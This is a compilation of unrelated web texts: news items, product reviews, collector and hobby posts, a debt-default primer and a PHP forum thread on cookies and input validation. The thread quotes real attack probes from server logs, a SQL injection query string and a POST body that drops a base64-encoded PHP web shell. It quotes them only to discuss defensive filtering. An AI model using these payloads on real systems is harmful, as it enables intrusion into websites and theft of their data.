Watch Texas Instruments for a Breakout
The stock chart of Texas Instruments (TXN) has been contracting in a large symmetrical triangle for the last two years. It is currently testing an interior resistance level, which if taken out could power a break above the downtrend line of the multi-year triangle pattern and take the stock price considerably higher.
The price contraction can be seen on the weekly chart and is defined by trend lines drawn from the 2011 high and 2011 low, and the 2012 high and 2012 low. After establishing the June low this year, the stock made a higher low, but the $30 level has acted as resistance, which formed an interior rising wedge pattern. The 50- and 200-day moving averages have compressed within this pattern. In this latter stage of the process, the stock price has moved into its upper Bollinger band range, and the money-flow index, a volume-weighted relative strength measure of money flow, has moved above its centerline....197 more words left in this article.

After new diagnosis, Ramirez placed on DL
DETROIT -- The Twins placed outfielder Wilkin Ramirez on the seven-day disabled list with concussion-like symptoms after Sunday's 6-1 loss to the Tigers. To replace Ramirez on the roster, the Twins will recall catcher/outfielder Chris Herrmann from Triple-A Rochester in time for Monday's game against the Brewers.
Twins manager Ron Gardenhire had said during his pregame media session that Ramirez was fine after colliding with Josh Willingham in left-center field in the sixth inning of Saturday's game. The initial diagnosis was a sore jaw, but Detroit's team doctor later ruled that Ramirez was exhibiting concussion-like symptoms.
"The doctors said that it was the right thing to do," Gardenhire said. "They said he'd be out three to four days, and we can't afford that right now. Going into a National League park you're going to be thin anyway [without the designated hitter]."
Ramirez, however, expressed the belief that he did not have a concussion. He said the problem was that the doctor asked him to repeat the months of the year backward, and the Dominican Republic native was unable to do so.
"I feel the same," Ramirez said. "The doctor asked me some questions, and I answered. So I don't know. I'm very disappointed right now."
Ramirez said he would talk to Glen Perkins, the Twins' union player representative, to see if he could appeal the decision. Perkins said he would look into the matter and was unsure if Ramirez could appeal.
"If he asks me, I'll have to look into it," Perkins said. "I don't really know. I just know concussions are an issue in all sports. So I'll have to dig into it a little bit. I would imagine he'll have to spend the seven days."
Herrmann, meanwhile, hit .238/.311/.285 with no homers, five doubles and 12 RBIs in 43 games with Rochester. He started 29 games behind the plate with seven starts in left field and five starts at designated hitter.
He saw his first Major League action last year, when he played in seven games as a September callup, going 1-for-18 with an RBI and a walk.

Organizers say a privately run express train that would go from Miami to Orlando in three hours is just weeks away from a deal to move forward. All that's needed now is the approval of what would be its final destination at Orlando International Airport.
Barbara Prezioso travels all around Florida to visit family, but calls Ft. Lauderdale home.
"It would definitely be a big benefit. We would definitely take it without question," says Prezioso. "I have a brother who lives in The Villages. I have friend who just moved to Ocala."
She said she would skip driving on the Florida Turnpike for a train any day.
"I know it would benefit us, and I think anyone frequently traveling a distance going north would benefit from it," she said.
A new agreement between the state and All Aboard Florida would link the Orlando International Airport to a station in Miami with stops along the way in Ft. Lauderdale and West Palm.
All Aboard Florida would lease portions of the Beachline Expressway for the next 50 years and pay the state $275,000 each year for the land.
Julie Baron likes that the project generates revenue for Florida, but worries if Orlando has the transportation necessary to support people coming from South Florida.
"I think it has its perks, but I wouldn't use it on a regular basis. It is cool, but once you get to Orlando, there's not a metro system to get you around," says Baron.
Airport spokeswoman Carolyn Fennell said All Aboard Florida will be meeting with OIA officials on Friday to work on the deal.

The Best Glitter For Nail Art
The Best Glitter For Nail Art and What to Do With It
It's easy to add a little glitz to your manicure with a sparkling top coat, but in case you're feeling a little more adventurous, loose glitter is another excellent option. Nail professionals are constantly recommending Martha Stewart Crafts Glitter for its superfine size, range of colors, and variety (think foils, holographic, and more). You can find them at your local craft store, as well as on marthastewart.com. HSN.com also has a great selection of glitter kits for the serious nail art enthusiast. To find out what you can do with loose glitter, read on.
3 Ways to Use Loose Glitter on Your Nails
- Create your own top coat: Add a layer of sparkle with your own customized top coat. Pour some of your favorite top coat on a piece of paper, sprinkle in glitter, and polish on top of your fingertips. Use acetone to remove excess glitter on your top coat brush before sealing it back on the bottle.
- Ombré manicure: Use a craft brush on wet polish to add a glitter gradient. Try working from your tips down, or reverse it from the base of your nail working up.
- Glitter accent finger: Go a little crazy and accent your standard manicure with one full-on sparkly finger. Just apply clear polish, sprinkle with glitter, and seal with a top coat.

You may have noticed this new acronym popping up on some of our products. RoHS stands for Restrictions on Hazardous Substances, and it's a directive that could have a huge impact on the production and disposal of consumer electronics. First adopted in Europe in 2006 (and later adopted in California in 2007), RoHS restricts the use of six dangerous substances in lots of common electronics. According to the official RoHS compliance Web site (www.rohs.eu), the RoHS symbol indicates that "new electrical and electronic equipment put on the market does not contain any of the six banned substances: lead, mercury, cadmium, hexavalent chromium, poly-brominated biphenyls (PBB) or polybrominated diphenyl ethers (PBDE), in quantities exceeding maximum concentration values."
While some military and medical equipment is exempt from RoHS compliance, the electronics governed by the standard are among the most common you'll find in your home, from radios to MP3 players to cell phones and (increasingly) computers. In practical terms, the standard protects factory workers at the production level, sharply reducing their exposure to hazardous substances. The standard also has a profound impact on the disposal and recycling of electronics, in that disposed substances will no longer have at least six of the most hazardous chemicals formerly found in electronics, and recycled electronics will not expose workers to toxics as they harvest components.
Best Audio for its Size
With the Gozo the FM, as well as AM, is superb when listening to a strong local station. You can also enjoy the full extent of your music library or smart phone tunes by connecting to the input jack on the back of the radio. The Gozo was specifically developed for high fidelity audio in a small package and is tuned for just these kinds of devices. The radio gives you an unbelievably cosmic blend of sound due to the additional passive radiator built in.
These radios are great! I own 2. Yes, they are retro-looking, but the sound they generate is so clear... there's a part on the back for bass to come out... the tuners are wonderful and the quality is high... also you can turn them up much higher that you would expect and the sound quality stays great. With all these features, the counter space used is minimal! There is a 1/8 inch aux input on the back as well. Great product!" P Harvey, Alpharetta GA.
A sturdy handle/stand and precise Vernier dial complete the picture for this radio's inspirational audio.

Coastal Flooding Expected This Week [AUDIO]
A mix of rain and snow should be accompanied by a moderate dose of coastal flooding Wednesday into Thursday, as shore towns continue to rebuild their beaches after Superstorm Sandy.
"The winds will get strong," explained Mitchell Gaines, a meteorologist with the National Weather Service in Mount Holly.
He said road closures can be expected during the times of high tide, and some damage to vulnerable structures may occur.
Vulnerability has become a characteristic of much of the Jersey shore due to Sandy. The storm removed many of the safeguards that were once in place to protect homes and businesses from the ocean.
John Miller, professor of coastal engineering at Stevens Institute of Technology in Hoboken, said the longevity of the pending storm is a main concern.
"It's supposed to last over several tide cycles," he explained. "It's just going to chew at the beach. What little beach is left, it's going to erode even further."
- CLICK HERE for Stevens Institute's Storm Surge Warning System
Residents are being advised by the New Jersey Office of Emergency Management to monitor forecasts and pay attention to their local officials, should there be a need to evacuate.
In Avalon, officials are keeping their eyes on Thursday morning's high tide, which arrives just before 4 a.m. on the bay side.
"What we're looking for in this storm is minor to moderate street flooding," said Scott Wahl, Public Information Officer for Avalon and Stone Harbor. "We're letting the public know to move their vehicles if they live in a flood-prone area."
Avalon and Stone Harbor fared very well during Sandy; just one home suffered more than 50 percent damage. Wahl said the damage was minimal because of the towns' engineered beaches and dunes.
"We don't look at them as expenses," he said. "They are purely investments to protect the economy and the livelihoods of everyone."

I thought it would be interesting to show the changes in the Fisk Tire Boy through the early part of his life. The first card is a post card with a postmark of 1912. The second post card through research I was able to date in the 1916-1918 range. The third ink blotter is dated 1926. The final photo is a blotter from 1928, the first year of the short lived smiling Fisk boy. I found it interesting to see the changes in the tread and size of the tires in the 15-20 year age difference in these cards. I also found it interesting to see the boy change his apperance from brownish hair to blond, and to see his face change as well. Early in the 1930's he even changed from footie pajamas to wearing slippers. I couldn't find much advertising in the mid 1930's; but by 1937 he was back to the yawning, footie PJ boy we are more used to in photo #3.

PONTIAC, Mich. - Mitchell Young, who is charged with murder in the baseball bat attacks on the Cipriano family, won't take the stand in his defense.
During a hearing Thursday, Young was asked under oath whether or not he wanted to testify.
"My decision is that I will exercise my right to remain silent," he said. "I believe that will be in my best interest."
Young is accused of helping Tucker Cipriano carry out brutal baseball attacks in April 2012 that killed Cipriano's father, Robert, and seriously injured his mother, Rose, and brother Sal.
Tucker Cipriano has already pleaded guilty to first-degree murder and attempted murder and faces an automatic penalty of life in prison without parole when he's sentenced on July 9.
Defense attorneys contend that Mitchell Young was a victim of Tucker Cipriano.
Closing arguments began Thursday afternoon.
Testimony from Wednesday: CSI experts tie Mitchell Young to Cipriano murder scene

Do great flying discs count here as pets or is this so off topic that they don't?
For me local courses have been attacked with Rhynos of different plastics, R-Pro Pig, Ion, Jokeri, Z and Glo Buzzzes, Gator (most FH looking to try out beefier driver like discs instead aka Whippet and Speed Demon after a retest of S Blaze which wouldn't survive in the summer on my home course from the beating to bedrock with lots of height changes on the holes) Z Stalker (straighter and very few feet shorter than Champ Leo that's been great in field practice), various Beasts after upgrading from Valks contested by Surge SS Z for summer and FLX for winter (i prefer the flight of the Z even for winter -i like lasers), Opto Flow being similar but longer and harder fading than the previous, Z Nuke DD2 broken almost doppelganging and Z Force.
I think i'm nearing a fairly stable bag. Jokeri primo plastic and finally getting some control over drives with Ions force me to think my putter selection further i should be able to remove at least one mold. The one with the least general usage combined with most overlap is the Rhyno gasp a staple for me in the last one and a half years. I'm in no hurry to cull Rhynos because they work so great for me. And i'm not going minimalist for the sake of minimalism just because i usually only use the Pig for FH drives and approaches with doglegs and nose up anny stall to flex to hyzer dropping to the bucket when there's a steep drop right behind the basket. Still trying to make to putt.

WALTHAM, Mass., Dec. 28, 2011 (GLOBE NEWSWIRE) -- BG Medicine, Inc. (Nasdaq:BGMD), a company focused on the development and commercialization of novel, biomarker-based diagnostics, announced today that it has filed a 510(k) Premarket Notification with the U.S. Food and Drug Administration (FDA) for regulatory clearance of the company's second cardiovascular diagnostic test, AMIPredict. The filing was made following the successful completion of a validation study using data from the company's BioImage Study, which involved approximately 6,600 individuals. Results of the validation study were consistent with company's design objectives for this new test. The test aims to improve the identification of individuals at high risk for near-term major cardiovascular events, such as heart attack and stroke, over conventional risk factor scoring, such as the Framingham Risk Score. Identifying individuals at high risk for near-term cardiovascular events is the first step in being able to implement effective risk reduction strategies. AMIPredict is an in vitro diagnostic multivariate index assay that simultaneously measures multiple protein biomarkers in patients' blood and calculates a risk score.
BG Medicine intends to disseminate the results of the study and discuss the market opportunity for the product via a conference call and webcast by early February.

Healthy Mouth, Healthy Kids
Face Swelling After a Filling
My son have two fillings done on opposite sides of his mouth. His right side of his face is very swollen and he says that it is painful. His face has been swollen for 8 hours now.
Return your son now to the dentist who treated him. The swelling could be a minor inflammation that will resolve quickly or it could be a sign of serious infection. If you cannot reach your dentist or a pediatric dentist today, seek care at your child's doctor's office or at an emergency room.

The Self-Serve Web Portal from Tigerpaw Software acts as a virtual help desk for your clients. It enables users to open service tickets, ask questions, search for answers, check work performed, review the status of a request, and more. In doing so, it helps reduce the cost of your customer service and improves customer satisfaction.
Customer support is likely a costly part of your operations budget. You have to provide 24/7 access to ensure customer satisfaction, but often the calls your support team receives are for basic issues — the type of questions you hate to see use up the valuable resources of your customer service staff.
The Self-Serve Web Portal can reduce those support calls, thereby saving your company time and money, while also increasing customer satisfaction and loyalty. Through the web portal you can give your customers the ability to submit tickets, check the status of existing tickets, ask questions, view answers to FAQs, review statements, and if you are using one of Tigerpaw's partners for payment processing, even make payments online. Essentially, you're able to increase the satisfaction of your customers while at the same time increasing the productivity of your support staff. It's a win-win.
Of course, every service organization is concerned about staying top-of-mind with its clients, and Tigerpaw's Self-Serve Web Portal helps you do just that by being fully customizable. For example, you can upload your logo, set a color scheme, and choose a layout to match your corporate website and branding to give a consistent look every time your client uses the portal. Additionally, you can enhance communication with your customers by posting important announcements on the login page of the portal. These customizations enable the portal to become an extension of your service department.

SWINDON Supermarine boss Dave Webb was last night making a late bid to bring in a new keeper in time for tomorrow's visit to Shortwood in Southern League Division One South & West.
Loanee Conor Thompson has had his Torquay contract cancelled by mutual consent and therefore Marine's chances of renewing his temporary spell have been ended.
Webb subsequently put seven-day approaches in for two different stoppers, one of which he was due to negotiate with last night regarding a switch to South Marston.
"I've got a couple of options that we're exploring and we've got to find a keeper that's good enough to play for the remaining 20 games," said Webb.
"I believe that the keeper is so important to the way the outfield players play, he sets the foundation for the team."
Dual-registered Highworth stopper Kieran Shail was last night on standby to play but while backing the keeper's abilities, Webb is reluctant to heap pressure on the youngster.
Webb said: "In time I believe that Kieran will progress and be able to play at this level, but he has no experience so it's a big ask for him to come in and play week after week.
"That would put a massive amount of pressure on everybody. However, if Kieran does end up playing I don't think he would let anyone down."
Other than his concerns between the sticks, Webb has a full squad for tomorrow's visit to Shortwood.
Marine are currently ninth in the standings and six points off the play-off spots, while Shortwood are also on 38 points but have played a game more.
Elsewhere in the division, title-chasing Cirencester are away to another play-off-chasing outfit in the form of Paulton.
Ciren have only lost one of their last nine league games but have their work cut out to catch in-form table-toppers Merthyr.
Brian Hughes' men are somewhat short on game time having only completed one match this year, with Saturday's match at home to Godalming on Saturday being abandoned.
The home clash with Marine on Tuesday was postponed.

HEALTH bosses are spending £240,000 this year recruiting nurses to Gwent neonatal units, amid ongoing concerns of what a new report calls "a significant shortfall" across Wales.
The investment by Aneurin Bevan Health Board is intended to begin to address a shortage at the Royal Gwent and Nevill Hall Hospital neonatal units of almost 20 specialist nursing staff.
Wales-wide, such units are 83 nurses short of being able to meet all-Wales Neonatal Standards, which demand one-to-one nursing care for babies in intensive care, with ratios of one nurse to two babies in high dependency care, and one-to-four in low dependency care.
A new report by the Assembly's children and young people committee, following a neonatal care inquiry, concludes this is not happening everywhere, particularly in top (Level Three) level intensive care units.
Problems are most acute in north Wales, but there are shortages across Wales.
Aneurin Bevan Health Board's spending proposal for Gwent is designed to recruit 6.2 whole time equivalent (WTE) registered nurses and 1.6 WTE unregistered/nursery nurses to neonatal services during 2012/13.
This would begin to plug a staffing gap of 18.7 WTE registered nurses and 4.76 WTE unregistered/nursery nurses.
Children and young people committee member and Torfaen AM Lynne Neagle, feels inquiry evidence given by Aneurin Bevan Health Board was "much more reassuring than others" but more must be done in Gwent and across Wales.
The Assembly report also raises concerns about nurse education and training, and difficulties in releasing nurses for training because units are so busy.
Other issues include medical staffing problems, cot numbers, inappropriate distribution of critical care cots, and cot-blocking, with sick babies often in the wrong type of neonatal cot because of a local lack of suitable alternatives.
'Too many small neonatal units' - inquiry
ANOTHER issue raised by the inquiry - and by a Wales neonatal capacity review earlier this year - is a belief among experts that there are too many small units.
An Aneurin Bevan Health Board report in March warned too, that "it is clear the sustainability and of neonatal services in Wales, and preservation or enhancement of neonatal services, will be absolutely dependent on reducing the number of units."
The health board plans a single neonatal service at its proposed Specialist and Critical Care Centre, but that is several years away. How such services are delivered in the meantime remains to be decided.

If Argentina Defaults, Then What?
Argentina faces a Wednesday deadline for more than $500 million in debt payments. It appears unlikely that bondholders will receive their money, bringing to a head a standoff with a separate group of creditors, the so-called "holdout" hedge funds that have refused the country's two debt-restructuring offers over the past decade.
At the center of the case is a 2012 U.S. District Court ruling that Argentina cannot pay bondholders who accepted the restructuring agreements until it pays the holdouts — a decision that the government contends puts it in a costly legal bind.
Here's a primer on what might happen should Argentina miss the payments.
Q: Will Argentina go into default?
A: If a debt-service payment isn't transmitted before midnight on Wednesday evening, Argentina will be in default under the bond documents, legal experts say. Argentina, however, could continue to claim that it isn't in default. If necessary, a court may have to decide, though legal experts say Argentina's claim would be thin.
Q: How can Argentina claim it isn't in default?
A: Argentine officials contend they have met their obligations by transferring money to the trustee. Argentina has deposited the cash with bond trustee Bank of New York Mellon for an interest payment that was due June 30 on some of the bonds it issued in past restructurings.
But thanks to the 2012 ruling, the bank cannot disburse the money to investors without risking being held in contempt of court. Legal experts point to bond documents that indicate that for a payment to be made, the money must actually be dispensed by the trustee. Just sending money to the trustee "is not sufficient for their payment obligation," said Jonathan Zonis, a lawyer at Clifford Chance.
Argentina has a 30-day grace period, so in any case the bonds wouldn't enter default until the end of Wednesday, legal experts said.
Q: What rights do bondholders have?
A: If the payment to investors isn't made, investors who own affected bonds could submit a demand to "accelerate" payments—that is, a demand that Argentina immediately pay not just interest owed, but all principal, too. An investor, or a group of investors, that owns 25% of a series of outstanding bonds would be eligible to make an acceleration demand.
"The whole logic of acceleration is that the world has changed, and therefore you should have the right to your funds back immediately," said Brett House, a senior fellow at the Centre for International Governance Innovation, a Canadian think tank.
Q: What would happen if bondholders make a demand for acceleration?
A: A demand for acceleration would turn up the heat on Argentina and make it more worthwhile for those investors to sue, since their monetary claim would be larger. Such a demand could also trigger a "cross-default" provision, meaning investors who own other new bonds would be able to make an acceleration demand even if their bonds weren't scheduled for a payment on June 30.
Q: Why wouldn't Argentina pay the old bondholders?
A: The new bonds have an equal-treatment clause, called the Rights Upon Future Offers, or RUFO, clause, that says if old holdout bondholders are offered a better deal, the same offer must be made to the new bondholders. The clause expires at the end of this year.
Analysts say Argentina could argue that any offer wouldn't be made "voluntarily" because of the litigation, so the clause wouldn't be triggered. But new bondholders could argue otherwise.
Q: Is a demand for acceleration likely?
A: Mark Weidemaier, an associate professor of law at the University of North Carolina School of Law, said there appears to be little benefit to submitting an acceleration demand.
"The question is whether Argentina views a short-term default as a worse option than cutting a deal now and risking litigation under the RUFO clause," Mr. Weidemaier said. "As long as you think a country is able and willing to pay you, and it's all contingent on getting this deal done—I wouldn't tell you there's no incentive to try and accelerate but there's not a particularly compelling reason to do it."
Q: What happens to Argentina bond prices?
A: Analysts say the immediate reaction on the day of the default could send bond prices plummeting to 50 cents to 60 cents on the dollar from around 86 cents on the dollar right now, as some investors may be forced to sell if they aren't allowed to hold defaulted bonds. However, few believe bond prices will drop to levels reminiscent of the country's 2001 default. At that time, Argentine bonds fell to around 30 cents on the dollar.
Q: What happens to credit-default swaps on Argentina bonds?
A: A committee of a derivatives trade group will have to decide whether Argentina has defaulted for purposes of credit-default swaps, a separate product that acts as insurance and pays holders of the swaps if Argentina defaults on the bonds.
Q: Will Argentina's bond ratings be affected?
A: Standard & Poor's currently gives Argentina a triple-C-minus long-term rating, which is already "junk" status. If the country fails to pay the June 30 interest payment, S&P said it would lower the rating to "selective default," meaning the country is meeting its obligations on some bonds but not others.
Moody's has said that it will consider a missed payment on Wednesday a default, though that wouldn't trigger an immediate downgrade.

I bought this chair for $75 at a local Salvation Army, and I'm excited that appears to be a real Victorian antique! I'm not sure whether it's Rococo or Renaissance Revival (or perhaps neither), and I think it's walnut. What I know is that it's a medallion-back, spring-seat gentleman's chair. The upholstery appears original. The upholstery is nailed on with decorative tacks, and the joints are mortise and tenon with glue. Overall pretty good condition.

The deadline had been approaching for weeks.
I knew that. But somehow the idea of driving to my local DMV to renew the registration on my Honda Civic was about as appealing as getting a root canal. Still, I manned up and arrived at the Newhall office early Monday morning.
And I had a strategy. The place opens at 8 a.m., but I arrived at 7:45, figuring I'd beat the crowd and get out of there fast. Wrong. A line of sad looking people was already snaking its way around the outside of the building, pulsating and growing like a nervous tumor. Worse yet, other motorists were pulling into the lot ahead of me.
But by some quirk of fate, I found a parking spot. Then I got in line and slowly threaded my way toward the front door. That process took about 20 minutes, and by the time I got inside and made it to the front counter another 10 minutes had passed.
But then I got a reprieve — or so I thought.
"Oh, if you're just renewing your registration you can do it over there on that machine and you won't have to wait," a DMV representative said cheerily.
I could have kissed her.
So I walked over to the machine, which looked eerily like an ATM at a bank. The step-by-step process was simple enough. They just needed the date of my last renewal, my license plate number and some other basic information, which I had in hand. I had come prepared and I would soon be out of there!
But then it all went south. The machine accepts three types of payment — cash (which I didn't have), checks (which I had) and debit or credit cards (which I also had). I was prepared for two out of three options!
Unfortunately, the machine wasn't. When I inserted my check it came back out, and when I inserted it again the same thing happened. So I tried my debit card. Again, no luck. Then I noticed that the check and credit/debit card icons at the bottom of the screen had lines running through them. Lines that weren't there 30 seconds ago. When I told a DMV employee that the machine wasn't working, she said, "Oh, that happens sometimes."
So I was given a number and told to wait. They said it wouldn't be long.
It was 45 minutes.
And it took 45 minutes because other DMV customers who had wisely made their appointments ahead of time (this is an option I plan to explore in the future) kept being called before me. My number was BO20, and it seemed that every possible combination of letters and numbers were getting called before me.
Shortly before I finally did get called, I realized I had another problem. I had left my debit card in the machine. So I went back to check, and of course, it was no longer there.
But when I asked about it at the counter a DMV employee fetched it for me and said a good Samaritan had turned it in.
My DMV experience wasn't exactly pleasant. But getting my debit card back? I figure I got off lucky.

Flooring was easy to install, but sometimes had trouble snapping pieces together because the factory edges weren't always straight.
Service and delivery comments:
I bought on line and delivery took 11 days. I had 6 boxes of flooring material left over (the customer changed mind on pantry floor!!)and they would only take 5 back as the wrapping was torn on the 6th box.....BUT THAT WAS HOW THEY DELIVERED IT TO ME!! Live and Learn.
Best Uses
Will be doing more rooms in the house- getting rid of carpet - St. Pete Lum Liqidators did an awesome job working with a DIY like me. Knowledgeable and not a pressure sale.
Best Uses
I put this floor covering down over wood subfloors. I was pleased with the solid feel of the planks, 12mm, but found the amount of unusable material to be a problem. Aside from the normal amount of calculable waste for cuts, I had to throw away approx. 2-1/2 cases of planks. They were scratched, chipped, cracked or otherwise damaged in shipping or delivery. I notified the sales staff at my local store of this problem and asked if it was a common problem with this line of laminate. The response was "no" and that was that. I'm not looking for a handout, but I feel the customer service could have been handled a little differently. The product was decent, however I will not use it again, nor will I recommend it to anyone else.
As for the finished surface, I found it to scratch and scuff quite easily compared to many other comparable products. I feel a textured or hand scraped surface would have been a better choice.
This is really nice looking flooring, but it is difficult to get the joints to stay flush. The flooring pieces tend to chip off at the edges making it even more difficult.
Best Uses
I like the product, but wouldn't have bought as much overage if i knew i could not get a refund on the unopened boxes
Best Uses
I floored three bedrooms and a hallway.
The color and finish are excellent.
I was given a few extra boxes, because my pallet got hit and had a few damaged boards, I ended up needing the extras! (kudos to Lumber Liquidators)
This floor is a very tight fitting floor, which is a good thing, but I had to use LOTS of force to get the boards to lock, and even 2mm difference along a long wall would force me to go back and re-shim the wall.
Really nice quality at a very reasonable price. Easy to install - I installed it myself - but be careful that the entire plank is in tight. The good news is it is easy to take apart and re-do a row if you have to.
Best Uses
I love it!!!!! Every time I walk into the room, a huge smile comes!!!! It is beautiful. Very Very Happy!!! Will never have carpet again!!
I was very pleased with the look and quality of this floor...HOWEVER~!!~ We did have a problem with a mixed date of manufacturing, the flooring made on 4/17 has a thicker milled edge and caused problems. My local store was quick to solve the problem. Customer service was excellent at our local store.
Best Uses
Put the floor down in the family room add a definite the cord to the family very easy to clean and take care of

The word 'sib' or 'sibling' is coming into use in genetics in the English-speaking world, as an equivalent of the convenient German term 'Geschwister' [E.&C. Paul, "Human Heredity," 1930]
In Old English, sibb and its compounds covered grounds of "brotherly love, familial affection" which tended later to lump into love (n.), as in sibsumnes "peace, concord, brotherly love," sibbian (v.) "bring together, reconcile," sibbecoss "kiss of peace." Sibship, however, is a modern formation (1908). Sib persisted through Middle English as a noun, adjective, and verb expressing kinship and relationship.

As the data from my variables are often used in SQL queries I'm very careful about how I use them!!!id=32&add=145&bsp=999999.9+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536--
Here is another example of a raw POST string received.<?php echo('4V0gf2vVuCiyYgYI'); file_put_contents('php_info.php',base64_decode('PD9waHAgZXZhbChzdHJpcHNsYXNoZXMoYXJyYXlfcG9wKCRfUE9TVCkpKTsgPz4=')); ?>
All this makes me super careful. However, I'd like to understand about the cookie behaviour I've seen as I though it impossible from a regular browser. Clearly cyber attack software could create any GET POST or COOKIE data.
Thanks for your comments. See below for some cyber attack data. I'm just puzzled how a normal user's browser can add extra cookies!
Easily, cookies are controlled by the end user. The server does not control what cookies a browser sends or keeps.
As for the cyber attack data, filter, validation, and escape is all you need to properly handle it. Most attacks are just automated systems probing for vulnerabilities like say in old Wordpress installations.
Thanks for your comments. Its just that I thought that a normal mainstream browser would never create a new cookie. Clearly one could write browser software to inject any data into the COOKIE header. I'm just surprised to find so many unusual cookies arriving.
I often see cookie data such as cust=deleted where cust is a cookie of mine that I have indeed deleted (eg after a user logs out). I thought that the browser would simply delete the cookie and then never add anything relating to that cookie in the cookie header.I've looked in my logs and see that a spider was responsible for the 'cust=deleted'. Here it is...HTTP_User_Agent= Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Cookies only get deleted when they expire.
Any cookies set from JavaScript will always be accessible from both JavaScript and on the server. Any cookies set on the server will also be available to JavaScript unless the 'HTTP Only' flag is set.
All $GET, $POST, and $_COOKIE data received in PHP should be considered to be tainted (since your visitor can set whatever values there that they like). You should only move the values from those variables that you actually expect to receive out of those globals into new fields that your code will use and should also only perform that move where the value in the field passes validation - ie is a value that you consider to be reasonable for that specific field.
Field validation is the most important part of security - if you make sure all the values received are valid before you use them then the possibilities of security issues are greatly reduced.
The reason I don't do this is that the errant data can be very lengthy and can contain all sorts of nasty looking code. So I worry about vulnerabilities such as buffer overrun. Perhaps my Apache server has no such vulnerabilities but I like to be super careful as I have a lot of clients personal data on board. Perhaps I'm too careful. The security game is relatively new to me so I tend to write very strict code.
There. I've set a cookie on your browser for yourdomain.com. It -does not matter- what domain this piece of code is on. I've set a cookie for yourdomain.com.
Thanks for your help. Much appreciated.
OK, so you or anyone else could write some code to send an HTTP GET request to any site with any headers included such as cookies. I can see you can do that and that is a deliberate malicious act. If I know it is malicious than I'm happy to abort the page presentation and substitute an error page suggesting there has been suspicious activity. This is what I do on my site.
Do you think this conclusion of mine is correct?
Sorta. The only part of a web page you have full control of is what you send (So yes, the HTML, but also the outgoing JS and CSS). What happens when it gets there - and what you receive and why are completely outside your control.
Thanks again! Your comments are helping me understand what users can do. You say a user can add their own JavaScript but I can't see how. The only way I can visualise this is for them to load a framed HTML page from a local file with some JavaScript and use one of the frames to view any web site of interest. Then their JavaScript could drill down the DOM to play around with elements of that site such as cookies. Are there other ways of adding their own JavaScript? By the way I use Safari on a Mac.
Thanks, you are being so helpful and its great to know the methods that can be used to run JavaScript against any web page.
What would you recommend I do? Perhaps I'm being too strict by aborting pages with unknown variables arriving. I just don't like that odd looking data sitting in the buffers. I suppose I could UNSET the unknown variables and continue with the page?
Do you know what plugin could cause Google analytics cookies?
Sorry for the long post! This should be almost the last!

SANTA CRUZ -- A Santa Cruz veterinary clinic has made it easy to support a few working dogs at the Santa Cruz Police Department.
For a donation of $10, uniformed stuffed animal K-9s are for sale at Santa Cruz Westside Animal Hospital at 411 Laurel St.
The vet hospital has raised about $2,100 for the Santa Cruz police K-9 Unit since it started selling the toys in February.
"I think this is an extremely worthy cause," said Sgt. Warren Barry, who leads the K-9 Unit. "To have the K-9 unit receive supplemental funding for training, equipment, and medical insurance, it will enhance the unit and in turn assist us in maintaining a high level of service to the community," Barry said.
The police dogs cost $6,500 up front and $6,000 in initial training, said Santa Cruz police spokesman Zach Friend.
The annual cost is about $14,000 for twice weekly training, food, vet bills and other expenses. The K-9s also wear bulletproof vests.
They often help apprehend suspects and search for weapons and drugs. Niko is the department's Belgian malinois. Lobo is a German shepherd.
"Without hesitation they will throw themselves in harms way, desiring nothing more then praise and a quick pat on the head," Barry said.
The plush toys also are for sale at the police station at 115 Center St.
Watsonville police also have sold the toys this year.

The only way to get rid of Stern would be for the owners to vote him out.
That isn't going to happen in 100 centuries. He's made the owners more money than they can count over the last 20 years. There's no way they'd ever get enough owners willing to fire him. Maybe one or 2 votes, but most owners love the guy.
It wasn't about being the team everyone loved, it was about beating the teams everyone else loved.

My weekly garage sale find. It appears to be an early sand cast Yei Men Navajo Necklace. It does test silver. There are no marks. It weighs 93 grams and is 27" long. It is clearly old and hand made. I started to try to polish it for the wife, but realized about half way through maybe I should have left the original patina. Just wondering if anyone can give me an approximate age and value and if in fact it is what I believe it is. Also, does polishing it effect the value? Thank you for your time.

Topic: Question about cholangiocarcinoma & gallbladder issues
Hi. It's been awhile since I posted, but I still come to the cholangiocarcinoma foundation website often for education & some inspiration that I need at times. My husband has had stage IV cholangiocarcinoma for a little over a year now, and has had problems with his gallbladder since his diagnosis. He has stents in both his liver and gallbladder. We have been told by his oncologist that they can't remove his gallbladder due to the difficulty of that procedure. The doctor who has been replacing the stents however, told us that it should be looked into being removed. Has anyone else had any experience with problems with the gallbladder or had it removed? My husband has been experiencing a lot of pain from it, and I don't know what to do. I feel so lost and confused sometimes! Any information or thoughts would be greatly appreciated!

I finally found an antique S oak roll top desk I've been wanting for so long, so I swapped out the big compter desk for it. Problem is the desk is too small for the monitor and tower. I found an Acer 20" flat monitor, $15, to replace the old monitor... works great. The tower won't fit the desk, so it's presently sitting on the floor with wires everywhere. I don't like this at all, then OTOH don't like the idea of cutting hole in an antique desk to run wires.
My question is, as I'm computer illiterate, would a laptop be a better option? Are they really that advantageous for someone who doesn't use a computer that much other than PD, Craigslist, emails?
If I got a laptop, would highspeed or wifi be best? I wouldn't be carrying it. Or would one of those mini computers, which will fit the desk, be ok? Any help, suggestions, or ideas would greatly be appreciated.

The commandant and several other Marine Corps generals spent Christmas in southwestern Afghanistan, where a Camp Pendleton force is closing out a year in command of international troops in one of the country's most violent provinces.
As the administration weighs how many American forces to send home next year among the 66,000 remaining in Afghanistan, a Pentagon report to Congress this month underscored the risks of the steep drawdown of troops from Helmand province.
Marine Corps leaders and Afghan officials, however, are citing progress in the region, a center for the illegal poppy trade where insurgents have been routed from most towns and Afghan troops are patrolling largely on their own.
Gen. James Amos and his wife Bonnie, Sgt. Maj. Michael Barrett, Lt. Gen. Richard Tryon, and Lt. Gen. William Faulkner spent four days visiting Marines and sailors deployed in Helmand, at forward operating bases and combat outposts including Payne, Geronimo, Hanson, Jackson, Kajaki and Musa Qala.
